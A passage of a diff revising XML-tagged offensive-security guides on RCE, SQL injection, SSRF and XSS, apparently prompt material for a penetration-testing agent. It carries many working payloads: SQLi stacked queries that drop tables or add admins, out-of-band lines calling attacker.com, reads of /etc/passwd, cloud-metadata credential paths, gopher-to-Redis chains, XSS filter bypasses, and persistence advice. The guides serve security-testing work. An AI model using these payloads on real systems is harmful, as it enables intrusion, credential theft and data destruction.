- Comments: /**/i/**/d
- Alternative commands: hostname vs uname -n
- Path traversal: /usr/bin/id vs id
</waf_bypasses>
<post_exploitation>
- Privilege escalation: sudo -l; SUID binaries; capabilities (getcap -r / 2>/dev/null)
- Persistence: cron/systemd/user services; web shell behind auth; plugin hooks; supply chain in CI/CD
- Lateral movement: pivot with SSH keys, cloud metadata credentials, internal service tokens
</post_exploitation>
<waf_and_filter_bypasses>
- Encoding differentials (URL, Unicode normalization), comment insertion, mixed case, request smuggling to reach alternate parsers
- Absolute paths and alternate binaries (busybox, sh, env); Windows variations (PowerShell vs CMD), constrained language bypasses
</waf_and_filter_bypasses>
<validation>
To confirm RCE:
1. Execute unique command (id, hostname)
2. Demonstrate file system access
3. Show command output retrieval
4. Achieve reverse shell
5. Prove consistent execution
1. Provide a minimal, reliable oracle (DNS/HTTP/timing) proving code execution.
2. Show command context (uid, gid, cwd, env) and controlled output.
3. Demonstrate persistence or file write under application constraints.
4. If containerized, prove boundary crossing attempts (host files, kube APIs) and whether they succeed.
5. Keep PoCs minimal and reproducible across runs and transports.
</validation>
<false_positives>
NOT RCE if:
- Only crashes application
- Limited to specific commands
- Sandboxed/containerized properly
- No actual command execution
- Output not retrievable
- Only crashes or timeouts without controlled behavior
- Filtered execution of a limited command subset with no attacker-controlled args
- Sandboxed interpreters executing in a restricted VM with no IO or process spawn
- Simulated outputs not derived from executed commands
</false_positives>
<impact>
- Complete system compromise
- Data exfiltration
- Lateral movement
- Backdoor installation
- Service disruption
- Remote system control under application user; potential privilege escalation to root
- Data theft, encryption/signing key compromise, supply-chain insertion, lateral movement
- Cluster compromise when combined with container/Kubernetes misconfigurations
</impact>
<pro_tips>
1. Try all delimiters: ; | || & &&
2. Test both Unix and Windows commands
3. Use time-based for blind confirmation
4. Chain with other vulnerabilities
5. Check sudo permissions post-exploit
6. Look for SUID binaries
7. Test command substitution variants
8. Monitor DNS for blind RCE
9. Try polyglot payloads first
10. Document full exploitation path
1. Prefer OAST oracles; avoid long sleeps—short gated delays reduce noise.
2. When command injection is weak, pivot to file write or deserialization/SSTI paths for stable control.
3. Treat converters/renderers as first-class sinks; many run out-of-process with powerful delegates.
4. For Java/.NET, enumerate classpaths/assemblies and known gadgets; verify with out-of-band payloads.
5. Confirm environment: PATH, shell, umask, SELinux/AppArmor, container caps; it informs payload choice.
6. Keep payloads portable (POSIX/BusyBox/PowerShell) and minimize dependencies.
7. Document the smallest exploit chain that proves durable impact; avoid unnecessary shell drops.
</pro_tips>
<remember>Modern RCE often requires chaining vulnerabilities and bypassing filters. Focus on blind techniques, WAF bypasses, and achieving stable shells. Always test in the specific context - ImageMagick RCE differs from command injection.</remember>
<remember>RCE is a property of the execution boundary. Find the sink, establish a quiet oracle, and escalate to durable control only as far as necessary. Validate across transports and environments; defenses often differ per code path.</remember>
</rce_vulnerability_guide>

View File

@@ -1,215 +1,151 @@
<sql_injection_guide>
<title>SQL INJECTION - MASTER CLASS TECHNIQUES</title>
<title>SQL INJECTION</title>
<critical>SQL Injection = direct database access = game over.</critical>
<critical>SQLi remains one of the most durable and impactful classes. Modern exploitation focuses on parser differentials, ORM/query-builder edges, JSON/XML/CTE/JSONB surfaces, out-of-band exfiltration, and subtle blind channels. Treat every string concatenation into SQL as suspect.</critical>
<injection_points>
- URL parameters: ?id=1
- POST body parameters
- HTTP headers: User-Agent, Referer, X-Forwarded-For
- Cookie values
- JSON/XML payloads
- File upload names
- Session identifiers
</injection_points>
<scope>
- Classic relational DBMS: MySQL/MariaDB, PostgreSQL, MSSQL, Oracle
- Newer surfaces: JSON/JSONB operators, full-text/search, geospatial, window functions, CTEs, lateral joins
- Integration paths: ORMs, query builders, stored procedures, search servers, reporting/exporters
</scope>
<detection_techniques>
- Time-based: ' AND SLEEP(5)--
- Boolean-based: ' AND '1'='1 vs ' AND '1'='2
- Error-based: ' (provoke verbose errors)
- Out-of-band: DNS/HTTP callbacks
- Differential response: content length changes
- Second-order: stored and triggered later
</detection_techniques>
<methodology>
1. Identify query shape: SELECT/INSERT/UPDATE/DELETE, presence of WHERE/ORDER/GROUP/LIMIT/OFFSET, and whether user input influences identifiers vs values.
2. Confirm injection class: reflective errors, boolean diffs, timing, or out-of-band callbacks. Choose the quietest reliable oracle.
3. Establish a minimal extraction channel: UNION (if visible), error-based, boolean bit extraction, time-based, or OAST/DNS.
4. Pivot to metadata and high-value tables, then target impactful write primitives (auth bypass, role changes, filesystem access) if feasible.
</methodology>
<uncommon_contexts>
- ORDER BY: (CASE WHEN condition THEN 1 ELSE 2 END)
- GROUP BY: GROUP BY id HAVING 1=1--
- INSERT: INSERT INTO users VALUES (1,'admin',(SELECT password FROM admins))--
- UPDATE: UPDATE users SET email=(SELECT @@version) WHERE id=1
- Functions: WHERE MATCH(title) AGAINST((SELECT password FROM users LIMIT 1))
</uncommon_contexts>
<injection_surfaces>
- Path/query/body/header/cookie; mixed encodings (URL, JSON, XML, multipart)
- Identifier vs value: table/column names (require quoting/escaping) vs literals (quotes/CAST requirements)
- Query builders: whereRaw/orderByRaw, string templates in ORMs; JSON coercion or array containment operators
- Batch/bulk endpoints and report generators that embed filters directly
</injection_surfaces>
<basic_payloads>
<union_based>
' UNION SELECT null--
' UNION SELECT null,null--
' UNION SELECT 1,2,3--
' UNION SELECT 1,@@version,3--
' UNION ALL SELECT 1,database(),3--
</union_based>
<detection_channels>
- Error-based: provoke type/constraint/parser errors revealing stack/version/paths
- Boolean-based: pair requests differing only in predicate truth; diff status/body/length/ETag
- Time-based: SLEEP/pg_sleep/WAITFOR; use subselect gating to avoid global latency noise
- Out-of-band (OAST): DNS/HTTP callbacks via DB-specific primitives
</detection_channels>
<error_based>
' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))--
' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--
' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
</error_based>
<union_visibility>
- Determine column count and types via ORDER BY n and UNION SELECT null,...
- Align types with CAST/CONVERT; coerce to text/json for rendering
- When UNION is filtered, consider error-based or blind channels
</union_visibility>
<blind_boolean>
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--
' AND ASCII(SUBSTRING((SELECT database()),1,1))>97--
' AND (SELECT COUNT(*) FROM users)>5--
</blind_boolean>
<blind_time>
' AND IF(1=1,SLEEP(5),0)--
' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)--
'; WAITFOR DELAY '0:0:5'-- (MSSQL)
'; SELECT pg_sleep(5)-- (PostgreSQL)
</blind_time>
</basic_payloads>
<advanced_techniques>
<stacked_queries>
'; DROP TABLE users--
'; INSERT INTO admins VALUES ('hacker','password')--
'; UPDATE users SET password='hacked' WHERE username='admin'--
</stacked_queries>
<out_of_band>
MySQL:
' AND LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))--
' UNION SELECT LOAD_FILE('/etc/passwd')--
MSSQL:
'; EXEC xp_dirtree '\\attacker.com\share'--
'; EXEC xp_cmdshell 'nslookup attacker.com'--
PostgreSQL:
'; CREATE EXTENSION dblink; SELECT dblink_connect('host=attacker.com')--
</out_of_band>
<file_operations>
MySQL:
' UNION SELECT 1,2,LOAD_FILE('/etc/passwd')--
MSSQL:
'; EXEC xp_cmdshell 'type C:\Windows\win.ini'--
PostgreSQL:
'; CREATE TABLE test(data text); COPY test FROM '/etc/passwd'--
</file_operations>
</advanced_techniques>
<filter_bypasses>
<space_bypass>
- Comments: /**/
- Parentheses: UNION(SELECT)
- Backticks: UNION`SELECT`
- Newlines: %0A, %0D
- Tabs: %09
</space_bypass>
<keyword_bypass>
- Case variation: UnIoN SeLeCt
- Comments: UN/**/ION SE/**/LECT
- Encoding: %55nion %53elect
- Double words: UNUNIONION SESELECTLECT
</keyword_bypass>
<waf_bypasses>
- HTTP Parameter Pollution: id=1&id=' UNION SELECT
- JSON/XML format switching
- Chunked encoding
- Unicode normalization
- Scientific notation: 1e0 UNION SELECT
</waf_bypasses>
</filter_bypasses>
<specific_databases>
<dbms_primitives>
<mysql>
- Version: @@version
- Database: database()
- User: user(), current_user()
- Tables: information_schema.tables
- Columns: information_schema.columns
- Version/user/db: @@version, database(), user(), current_user()
- Error-based: extractvalue()/updatexml() (older), JSON functions for error shaping
- File IO: LOAD_FILE(), SELECT ... INTO DUMPFILE/OUTFILE (requires FILE privilege, secure_file_priv)
- OOB/DNS: LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))
- Time: SLEEP(n), BENCHMARK
- JSON: JSON_EXTRACT/JSON_SEARCH with crafted paths; GIS funcs sometimes leak
</mysql>
<mssql>
- Version: @@version
- Database: db_name()
- User: user_name(), system_user
- Tables: sysobjects WHERE xtype='U'
- Enable xp_cmdshell: sp_configure 'xp_cmdshell',1;RECONFIGURE
</mssql>
<postgresql>
- Version: version()
- Database: current_database()
- User: current_user
- Tables: pg_tables
- Command execution: CREATE EXTENSION
- Version/user/db: version(), current_user, current_database()
- Error-based: raise exception via unsupported casts or division by zero; xpath() errors in xml2
- OOB: COPY (program ...) or dblink/foreign data wrappers (when enabled); http extensions
- Time: pg_sleep(n)
- Files: COPY table TO/FROM '/path' (requires superuser), lo_import/lo_export
- JSON/JSONB: operators ->, ->>, @>, ?| with lateral/CTE for blind extraction
</postgresql>
<mssql>
- Version/db/user: @@version, db_name(), system_user, user_name()
- OOB/DNS: xp_dirtree, xp_fileexist; HTTP via OLE automation (sp_OACreate) if enabled
- Exec: xp_cmdshell (often disabled), OPENROWSET/OPENDATASOURCE
- Time: WAITFOR DELAY '0:0:5'; heavy functions cause measurable delays
- Error-based: convert/parse, divide by zero, FOR XML PATH leaks
</mssql>
<oracle>
- Version: SELECT banner FROM v$version
- Database: SELECT ora_database_name FROM dual
- User: SELECT user FROM dual
- Tables: all_tables
- Version/db/user: banner from v$version, ora_database_name, user
- OOB: UTL_HTTP/DBMS_LDAP/UTL_INADDR/HTTPURITYPE (permissions dependent)
- Time: dbms_lock.sleep(n)
- Error-based: to_number/to_date conversions, XMLType
- File: UTL_FILE with directory objects (privileged)
</oracle>
</specific_databases>
</dbms_primitives>
<nosql_injection>
<mongodb>
{% raw %}{"username": {"$ne": null}, "password": {"$ne": null}}{% endraw %}
{% raw %}{"$where": "this.username == 'admin'"}{% endraw %}
{% raw %}{"username": {"$regex": "^admin"}}{% endraw %}
</mongodb>
<blind_extraction>
- Branch on single-bit predicates using SUBSTRING/ASCII, LEFT/RIGHT, or JSON/array operators
- Binary search on character space for fewer requests; encode outputs (hex/base64) to normalize
- Gate delays inside subqueries to reduce noise: AND (SELECT CASE WHEN (predicate) THEN pg_sleep(0.5) ELSE 0 END)
</blind_extraction>
<graphql>
{users(where:{OR:[{id:1},{id:2}]}){id,password}}
{__schema{types{name,fields{name}}}}
</graphql>
</nosql_injection>
<out_of_band>
- Prefer OAST to minimize noise and bypass strict response paths; embed data in DNS labels or HTTP query params
- MSSQL: xp_dirtree \\\\<data>.attacker.tld\\a; Oracle: UTL_HTTP.REQUEST('http://<data>.attacker'); MySQL: LOAD_FILE with UNC
</out_of_band>
<automation>
SQLMap flags:
- Risk/Level: --risk=3 --level=5
- Bypass WAF: --tamper=space2comment,between
- OS Shell: --os-shell
- Database dump: --dump-all
- Specific technique: --technique=T (time-based)
</automation>
<write_primitives>
- Auth bypass: inject OR-based tautologies or subselects into login checks
- Privilege changes: update role/plan/feature flags when UPDATE is injectable
- File write: INTO OUTFILE/DUMPFILE, COPY TO, xp_cmdshell redirection; aim for webroot only when feasible and legal
- Job/proc abuse: schedule tasks or create procedures/functions when permissions allow
</write_primitives>
<waf_and_parser_bypasses>
- Whitespace/spacing: /**/, /**/!00000, comments, newlines, tabs, 0xe3 0x80 0x80 (ideographic space)
- Keyword splitting/concatenation: UN/**/ION, U%4eION, backticks/quotes, case folding
- Numeric tricks: scientific notation, signed/unsigned, hex (0x61646d696e)
- Encodings: double URL encoding, mixed Unicode normalizations (NFKC/NFD), char()/CONCAT_ws to build tokens
- Clause relocation: subselects, derived tables, CTEs (WITH), lateral joins to hide payload shape
</waf_and_parser_bypasses>
<orm_and_query_builders>
- Dangerous APIs: whereRaw/orderByRaw, string interpolation into LIKE/IN/ORDER clauses
- Injections via identifier quoting (table/column names) when user input is interpolated into identifiers
- JSON containment operators exposed by ORMs (e.g., @> in PostgreSQL) with raw fragments
- Parameter mismatch: partial parameterization where operators or lists remain unbound (IN (...))
</orm_and_query_builders>
<uncommon_contexts>
- ORDER BY/GROUP BY/HAVING with CASE WHEN for boolean channels
- LIMIT/OFFSET: inject into OFFSET to produce measurable timing or page shape
- Full-text/search helpers: MATCH AGAINST, to_tsvector/to_tsquery with payload mixing
- XML/JSON functions: error generation via malformed documents/paths
</uncommon_contexts>
<validation>
To confirm SQL injection:
1. Demonstrate database version extraction
2. Show database/table enumeration
3. Extract actual data
4. Prove query manipulation
5. Document consistent exploitation
1. Show a reliable oracle (error/boolean/time/OAST) and prove control by toggling predicates.
2. Extract verifiable metadata (version, current user, database name) using the established channel.
3. Retrieve or modify a non-trivial target (table rows, role flag) within legal scope.
4. Provide reproducible requests that differ only in the injected fragment.
5. Where applicable, demonstrate defense-in-depth bypass (WAF on, still exploitable via variant).
</validation>
<false_positives>
NOT SQLi if:
- Only generic errors
- No time delays work
- Same response for all payloads
- Parameterized queries properly used
- Input validation effective
- Generic errors unrelated to SQL parsing or constraints
- Static response sizes due to templating rather than predicate truth
- Artificial delays from network/CPU unrelated to injected function calls
- Parameterized queries with no string concatenation, verified by code review
</false_positives>
<impact>
- Database content theft
- Authentication bypass
- Data manipulation
- Command execution (xp_cmdshell)
- File system access
- Complete database takeover
- Direct data exfiltration and privacy/regulatory exposure
- Authentication and authorization bypass via manipulated predicates
- Server-side file access or command execution (platform/privilege dependent)
- Persistent supply-chain impact via modified data, jobs, or procedures
</impact>
<pro_tips>
1. Always try UNION SELECT first
2. Use sqlmap for automation
3. Test all HTTP headers
4. Try different encodings
5. Check for second-order SQLi
6. Test JSON/XML parameters
7. Look for error messages
8. Try time-based for blind
9. Check INSERT/UPDATE contexts
10. Focus on data extraction
1. Pick the quietest reliable oracle first; avoid noisy long sleeps.
2. Normalize responses (length/ETag/digest) to reduce variance when diffing.
3. Aim for metadata then jump directly to business-critical tables; minimize lateral noise.
4. When UNION fails, switch to error- or blind-based bit extraction; prefer OAST when available.
5. Treat ORMs as thin wrappers: raw fragments often slip through; audit whereRaw/orderByRaw.
6. Use CTEs/derived tables to smuggle expressions when filters block SELECT directly.
7. Exploit JSON/JSONB operators in Postgres and JSON functions in MySQL for side channels.
8. Keep payloads portable; maintain DBMS-specific dictionaries for functions and types.
9. Validate mitigations with negative tests and code review; parameterize operators/lists correctly.
10. Document exact query shapes; defenses must match how the query is constructed, not assumptions.
</pro_tips>
<remember>Modern SQLi requires bypassing WAFs and dealing with complex queries. Focus on extracting sensitive data - passwords, API keys, PII. Time-based blind SQLi works when nothing else does.</remember>
<remember>Modern SQLi succeeds where authorization and query construction drift from assumptions. Bind parameters everywhere, avoid dynamic identifiers, and validate at the exact boundary where user input meets SQL.</remember>
</sql_injection_guide>

View File

@@ -1,168 +1,135 @@
<ssrf_vulnerability_guide>
<title>SERVER-SIDE REQUEST FORGERY (SSRF) - ADVANCED EXPLOITATION</title>
<title>SERVER-SIDE REQUEST FORGERY (SSRF)</title>
<critical>SSRF can lead to internal network access, cloud metadata theft, and complete infrastructure compromise.</critical>
<critical>SSRF enables the server to reach networks and services the attacker cannot. Focus on cloud metadata endpoints, service meshes, Kubernetes, and protocol abuse to turn a single fetch into credentials, lateral movement, and sometimes RCE.</critical>
<common_injection_points>
- URL parameters: url=, link=, path=, src=, href=, uri=
- File import/export features
- Webhooks and callbacks
- PDF generators (wkhtmltopdf)
- Image processing (ImageMagick)
- Document parsers
- Payment gateways (IPN callbacks)
- Social media card generators
- URL shorteners/expanders
</common_injection_points>
<scope>
- Outbound HTTP/HTTPS fetchers (proxies, previewers, importers, webhook testers)
- Non-HTTP protocols via URL handlers (gopher, dict, file, ftp, smb wrappers)
- Service-to-service hops through gateways and sidecars (envoy/nginx)
- Cloud and platform metadata endpoints, instance services, and control planes
</scope>
<hidden_contexts>
- Referer headers in analytics
- Link preview generation
- RSS/Feed fetchers
- Repository cloning (Git/SVN)
- Package managers (npm, pip)
- Calendar invites (ICS files)
- OAuth redirect_uri
- SAML endpoints
- GraphQL field resolvers
</hidden_contexts>
<methodology>
1. Identify every user-influenced URL/host/path across web/mobile/API and background jobs. Include headers that trigger server-side fetches (link previews, analytics, crawler hooks).
2. Establish a quiet oracle first (OAST DNS/HTTP callbacks). Then pivot to internal addressing (loopback, RFC1918, link-local, IPv6, hostnames) and protocol variations.
3. Enumerate redirect behavior, header propagation, and method control (GET-only vs arbitrary). Test parser differentials across frameworks, CDNs, and language libraries.
4. Target high-value services (metadata, kubelet, Redis, FastCGI, Docker, Vault, internal admin panels). Chain to write/exec primitives if possible.
</methodology>
<cloud_metadata>
<injection_surfaces>
- Direct URL params: url=, link=, fetch=, src=, webhook=, avatar=, image=
- Indirect sources: Open Graph/link previews, PDF/image renderers, server-side analytics (Referer trackers), import/export jobs, webhooks/callback verifiers
- Protocol-translating services: PDF via wkhtmltopdf/Chrome headless, image pipelines, document parsers, SSO validators, archive expanders
- Less obvious: GraphQL resolvers that fetch by URL, background crawlers, repository/package managers (git, npm, pip), calendar (ICS) fetchers
</injection_surfaces>
<cloud_and_platforms>
<aws>
Legacy: http://169.254.169.254/latest/meta-data/
IMDSv2: Requires token but check if app proxies headers
Key targets: /iam/security-credentials/, /user-data/
- IMDSv1: http://169.254.169.254/latest/meta-data/ → {% raw %}/iam/security-credentials/{role}{% endraw %}, {% raw %}/user-data{% endraw %}
- IMDSv2: requires token via PUT {% raw %}/latest/api/token{% endraw %} with header {% raw %}X-aws-ec2-metadata-token-ttl-seconds{% endraw %}, then include {% raw %}X-aws-ec2-metadata-token{% endraw %} on subsequent GETs. If the sink cannot set headers or methods, fallback to other targets or seek intermediaries that can
- ECS/EKS task credentials: {% raw %}http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI{% endraw %}
</aws>
<google_cloud>
http://metadata.google.internal/computeMetadata/v1/
Requires: Metadata-Flavor: Google header
Target: /instance/service-accounts/default/token
</google_cloud>
<gcp>
- Endpoint: http://metadata.google.internal/computeMetadata/v1/
- Required header: {% raw %}Metadata-Flavor: Google{% endraw %}
- Target: {% raw %}/instance/service-accounts/default/token{% endraw %}
</gcp>
<azure>
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Requires: Metadata: true header
OAuth: /metadata/identity/oauth2/token
- Endpoint: http://169.254.169.254/metadata/instance?api-version=2021-02-01
- Required header: {% raw %}Metadata: true{% endraw %}
- MSI OAuth: {% raw %}/metadata/identity/oauth2/token{% endraw %}
</azure>
</cloud_metadata>
<internal_services>
<port_scanning>
Common ports: 21,22,80,443,445,1433,3306,3389,5432,6379,8080,9200,27017
</port_scanning>
<kubernetes>
- Kubelet: 10250 (authenticated) and 10255 (deprecated read-only). Probe {% raw %}/pods{% endraw %}, {% raw %}/metrics{% endraw %}, exec/attach endpoints
- API server: https://kubernetes.default.svc/. Authorization often needs the service account token; SSRF that propagates headers/cookies may reuse them
- Service discovery: attempt cluster DNS names (svc.cluster.local) and default services (kube-dns, metrics-server)
</kubernetes>
</cloud_and_platforms>
<service_fingerprinting>
- Elasticsearch: http://localhost:9200/_cat/indices
- Redis: dict://localhost:6379/INFO
- MongoDB: http://localhost:27017/test
- Docker: http://localhost:2375/v1.24/containers/json
- Kubernetes: https://kubernetes.default.svc/api/v1/
</service_fingerprinting>
</internal_services>
<internal_targets>
- Docker API: http://localhost:2375/v1.24/containers/json (no TLS variants often internal-only)
- Redis/Memcached: dict://localhost:11211/stat, gopher payloads to Redis on 6379
- Elasticsearch/OpenSearch: http://localhost:9200/_cat/indices
- Message brokers/admin UIs: RabbitMQ, Kafka REST, Celery/Flower, Jenkins crumb APIs
- FastCGI/PHP-FPM: gopher://localhost:9000/ (craft records for file write/exec when app routes to FPM)
</internal_targets>
<protocol_exploitation>
<gopher>
Redis RCE, SMTP injection, FastCGI exploitation
- Speak raw text protocols (Redis/SMTP/IMAP/HTTP/FCGI). Use to craft multi-line payloads, schedule cron via Redis, or build FastCGI requests
</gopher>
<file>
file:///etc/passwd, file:///proc/self/environ
</file>
<file_and_wrappers>
- file:///etc/passwd, file:///proc/self/environ when libraries allow file handlers
- jar:, netdoc:, smb:// and language-specific wrappers (php://, expect://) where enabled
</file_and_wrappers>
<dict>
dict://localhost:11211/stat (Memcached)
</dict>
</protocol_exploitation>
<parser_and_filter_bypasses>
<address_variants>
- Loopback: 127.0.0.1, 127.1, 2130706433, 0x7f000001, ::1, [::ffff:127.0.0.1]
- RFC1918/link-local: 10/8, 172.16/12, 192.168/16, 169.254/16; test IPv6-mapped and mixed-notation forms
</address_variants>
<bypass_techniques>
<dns_rebinding>
First request → your server, second → 127.0.0.1
</dns_rebinding>
<url_confusion>
- Userinfo and fragments: http://internal@attacker/ or http://attacker#@internal/
- Scheme-less/relative forms the server might complete internally: //169.254.169.254/
- Trailing dots and mixed case: internal. vs INTERNAL, Unicode dot lookalikes
</url_confusion>
<encoding_tricks>
- Decimal IP: http://2130706433/ (127.0.0.1)
- Octal: http://0177.0.0.1/
- Hex: http://0x7f.0x0.0x0.0x1/
- IPv6: http://[::1]/, http://[::ffff:127.0.0.1]/
</encoding_tricks>
<redirect_behavior>
- Allowlist only applied pre-redirect: 302 from attacker → internal host. Test multi-hop and protocol switches (http→file/gopher via custom clients)
</redirect_behavior>
<url_parser_confusion>
- Authority: http://expected@evil/
- Unicode: http://⑯⑨。②⑤④。⑯⑨。②⑤④/
</url_parser_confusion>
<header_and_method_control>
- Some sinks reflect or allow CRLF-injection into the request line/headers; if arbitrary headers/methods are possible, IMDSv2, GCP, and Azure become reachable
</header_and_method_control>
<redirect_chains>
302 → yourserver.com → 169.254.169.254
</redirect_chains>
</bypass_techniques>
<blind_and_mapping>
- Use OAST (DNS/HTTP) to confirm egress. Derive internal reachability from timing, response size, TLS errors, and ETag differences
- Build a port map by binary searching timeouts (short connect/read timeouts yield cleaner diffs)
</blind_and_mapping>
<advanced_techniques>
<blind_ssrf>
- DNS exfiltration: http://$(hostname).attacker.com/
- Timing attacks for network mapping
- Error-based detection
</blind_ssrf>
<chaining>
- SSRF → Metadata creds → cloud API access (list buckets, read secrets)
- SSRF → Redis/FCGI/Docker → file write/command execution → shell
- SSRF → Kubelet/API → pod list/logs → token/secret discovery → lateral
</chaining>
<ssrf_to_rce>
- Redis: gopher://localhost:6379/ (cron injection)
- Memcached: gopher://localhost:11211/
- FastCGI: gopher://localhost:9000/
</ssrf_to_rce>
</advanced_techniques>
<validation>
1. Prove an outbound server-initiated request occurred (OAST interaction or internal-only response differences).
2. Show access to non-public resources (metadata, internal admin, service ports) from the vulnerable service.
3. Where possible, demonstrate minimal-impact credential access (short-lived token) or a harmless internal data read.
4. Confirm reproducibility and document request parameters that control scheme/host/headers/method and redirect behavior.
</validation>
<filter_bypasses>
<localhost>
127.1, 0177.0.0.1, 0x7f000001, 2130706433, 127.0.0.0/8, localtest.me
</localhost>
<false_positives>
- Client-side fetches only (no server request)
- Strict allowlists with DNS pinning and no redirect following
- SSRF simulators/mocks returning canned responses without real egress
- Blocked egress confirmed by uniform errors across all targets and protocols
</false_positives>
<parser_differentials>
http://evil.com#@good.com/, http:evil.com
</parser_differentials>
<protocols>
dict://, gopher://, ftp://, file://, jar://, netdoc://
</protocols>
</filter_bypasses>
<validation_techniques>
To confirm SSRF:
1. External callbacks (DNS/HTTP)
2. Internal network access (different responses)
3. Time-based detection (timeouts)
4. Cloud metadata retrieval
5. Protocol differentiation
</validation_techniques>
<false_positive_indicators>
NOT SSRF if:
- Only client-side redirects
- Whitelist properly blocking
- Generic errors for all URLs
- No outbound requests made
- Same-origin policy enforced
</false_positive_indicators>
<impact_demonstration>
- Cloud credential theft (AWS/GCP/Azure)
- Internal admin panel access
- Port scanning results
- SSRF to RCE chain
- Data exfiltration
</impact_demonstration>
<impact>
- Cloud credential disclosure with subsequent control-plane/API access
- Access to internal control panels and data stores not exposed publicly
- Lateral movement into Kubernetes, service meshes, and CI/CD
- RCE via protocol abuse (FCGI, Redis), Docker daemon access, or scriptable admin interfaces
</impact>
<pro_tips>
1. Always check cloud metadata first
2. Chain with other vulns (SSRF + XXE)
3. Use time delays for blind SSRF
4. Try all protocols, not just HTTP
5. Automate internal network scanning
6. Check parser quirks (language-specific)
7. Monitor DNS for blind confirmation
8. Try IPv6 (often forgotten)
9. Abuse redirects for filter bypass
10. SSRF can be in any URL-fetching feature
1. Prefer OAST callbacks first; then iterate on internal addressing and protocols.
2. Test IPv6 and mixed-notation addresses; filters often ignore them.
3. Observe library/client differences (curl, Java HttpClient, Node, Go); behavior changes across services and jobs.
4. Redirects are leverage: control both the initial allowlisted host and the next hop.
5. Metadata endpoints require headers/methods; verify if your sink can set them or if intermediaries add them for you.
6. Use tiny payloads and tight timeouts to map ports with minimal noise.
7. When responses are masked, diff length/ETag/status and TLS error classes to infer reachability.
8. Chain quickly to durable impact (short-lived tokens, harmless internal reads) and stop there.
</pro_tips>
<remember>SSRF is often the key to cloud compromise. A single SSRF in cloud = complete account takeover through metadata access.</remember>
<remember>Any feature that fetches remote content on behalf of a user is a potential tunnel to internal networks and control planes. Bind scheme/host/port/headers explicitly or expect an attacker to route through them.</remember>
</ssrf_vulnerability_guide>

View File

@@ -1,221 +1,169 @@
<xss_vulnerability_guide>
<title>CROSS-SITE SCRIPTING (XSS) - ADVANCED EXPLOITATION</title>
<title>CROSS-SITE SCRIPTING (XSS)</title>
<critical>XSS leads to account takeover, data theft, and complete client-side compromise. Modern XSS requires sophisticated bypass techniques.</critical>
<critical>XSS persists because context, parser, and framework edges are complex. Treat every user-influenced string as untrusted until it is strictly encoded for the exact sink and guarded by runtime policy (CSP/Trusted Types).</critical>
<scope>
- Reflected, stored, and DOM-based XSS across web/mobile/desktop shells
- Multi-context injections: HTML, attribute, URL, JS, CSS, SVG/MathML, Markdown, PDF
- Framework-specific sinks (React/Vue/Angular/Svelte), template engines, and SSR/ISR
- CSP/Trusted Types interactions, bypasses, and gadget-based execution
</scope>
<methodology>
1. Identify sources (URL/query/hash/referrer, postMessage, storage, WebSocket, service worker messages, server JSON) and trace to sinks.
2. Classify sink context: HTML node, attribute, URL, script block, event handler, JavaScript eval-like, CSS, SVG foreignObject.
3. Determine current defenses: output encoding, sanitizer, CSP, Trusted Types, DOMPurify config, framework auto-escaping.
4. Craft minimal payloads per context; iterate with encoding/whitespace/casing/DOM mutation variants; confirm with observable side effects beyond alert.
</methodology>
<injection_points>
- URL parameters: ?search=, ?q=, ?name=
- Form inputs: text, textarea, hidden fields
- Headers: User-Agent, Referer, X-Forwarded-For
- Cookies (if reflected)
- File uploads (filename, metadata)
- JSON endpoints: {% raw %}{"user":"<payload>"}{% endraw %}
- postMessage handlers
- DOM properties: location.hash, document.referrer
- WebSocket messages
- PDF/document generators
- Server render: templates (Jinja/EJS/Handlebars), SSR frameworks, email/PDF renderers
- Client render: innerHTML/outerHTML/insertAdjacentHTML, template literals, dangerouslySetInnerHTML, v-html, $sce.trustAsHtml, Svelte {@html}
- URL/DOM: location.hash/search, document.referrer, base href, data-* attributes
- Events/handlers: onerror/onload/onfocus/onclick and JS: URL handlers
- Cross-context: postMessage payloads, WebSocket messages, local/sessionStorage, IndexedDB
- File/metadata: image/SVG/XML names and EXIF, office documents processed server/client
</injection_points>
<basic_detection>
<reflection_testing>
Simple: <random123>
HTML: <h1>test</h1>
Script: <script>alert(1)</script>
Event: <img src=x onerror=alert(1)>
Protocol: javascript:alert(1)
</reflection_testing>
<context_rules>
- HTML text: encode < > & " '
- Attribute value: encode " ' < > & and ensure attribute quoted; avoid unquoted attributes
- URL/JS URL: encode and validate scheme (allowlist https/mailto/tel); disallow javascript/data
- JS string: escape quotes, backslashes, newlines; prefer JSON.stringify
- CSS: avoid injecting into style; sanitize property names/values; beware url() and expression()
- SVG/MathML: treat as active content; many tags execute via onload or animation events
</context_rules>
<encoding_contexts>
- HTML: <>&"'
- Attribute: "'<>&
- JavaScript: "'\/\n\r\t
- URL: %3C%3E%22%27
- CSS: ()'";{}
</encoding_contexts>
</basic_detection>
<advanced_detection>
<differential_responses>
- Compare responses with/without payload; normalize by length/ETag/digest; observe DOM diffs with MutationObserver
- Time-based userland probes: setTimeout gating to detect execution without visible UI
</differential_responses>
<filter_bypasses>
<tag_event_bypasses>
<svg onload=alert(1)>
<body onpageshow=alert(1)>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<audio src onloadstart=alert(1)>
<video><source onerror=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus>/*</textarea><svg/onload=alert(1)>
<keygen autofocus onfocus=alert(1)>
<frameset onload=alert(1)>
</tag_event_bypasses>
<string_bypass>
- Concatenation: 'al'+'ert'
- Comments: /**/alert/**/
- Template literals: `ale${`rt`}`
- Unicode: \u0061lert
- Hex: \x61lert
- Octal: \141lert
- HTML entities: &apos;alert&apos;
- Double encoding: %253Cscript%253E
- Case variation: <ScRiPt>
</string_bypass>
<parentheses_bypass>
alert`1`
setTimeout`alert\x281\x29`
[].map.call`1${alert}2`
onerror=alert;throw 1
onerror=alert,throw 1
onerror=alert(1)//
</parentheses_bypass>
<keyword_bypass>
- Proxy: window['al'+'ert']
- Base64: atob('YWxlcnQ=')
- Hex: eval('\x61\x6c\x65\x72\x74')
